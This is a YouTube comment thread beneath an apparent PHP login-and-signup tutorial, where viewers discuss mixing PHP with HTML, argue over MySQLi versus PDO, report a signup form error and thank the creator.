@jonathanX01 4 года назад
At 1:39:39, when you mention that a lot of people asked how do you change content whenever you are logged in or not, I think they mean like profile pictures, bio, and user pages. At 1:40:55 or so, you were doing it the longer way but you can split the php code and block the entire html code so you don't have to put it in an echo, which works because I have done it many, many times.
@Orincaby
@Orincaby 5 лет назад
The "i" in MySQLi means "i'm the newer version so you have to use me"
@privateger
@privateger 4 года назад
Don't use it. Use PDO.
@OmnivorousOtter101
@OmnivorousOtter101 4 года назад
dontquestionmyactions, why?
@privateger
@privateger 4 года назад
@@OmnivorousOtter101 Because mysqli has been replaced by it. PDO is way easier to use, universal across many database systems and more secure. The MySQLi functions currently only exist for compatibility reasons.
@williamalesna5703
@williamalesna5703 4 года назад
lol xD
@LuBre
@LuBre 4 года назад
Nope, you should use PDO instead.
@mrdark3903
@mrdark3903 4 года назад
no matter what i do i always get this massage: Fill in all fields!. in the signup page. I have done exactly same as you, and i dont know where the problem lies
@randomTVSWE
@randomTVSWE 4 года назад
did you solve it?
@ryanvictorotieno4231
@ryanvictorotieno4231 3 года назад
Thank you so much. Your tutorial was great easy to understand and highly professional even for a beginner. Bless!
@sutaschramm3195
@sutaschramm3195 4 года назад
It feels good after all of that, when you save the page and it works with no errors. 😀
Далее
45: What are arrays used for in PHP - PHP tutorial
3:43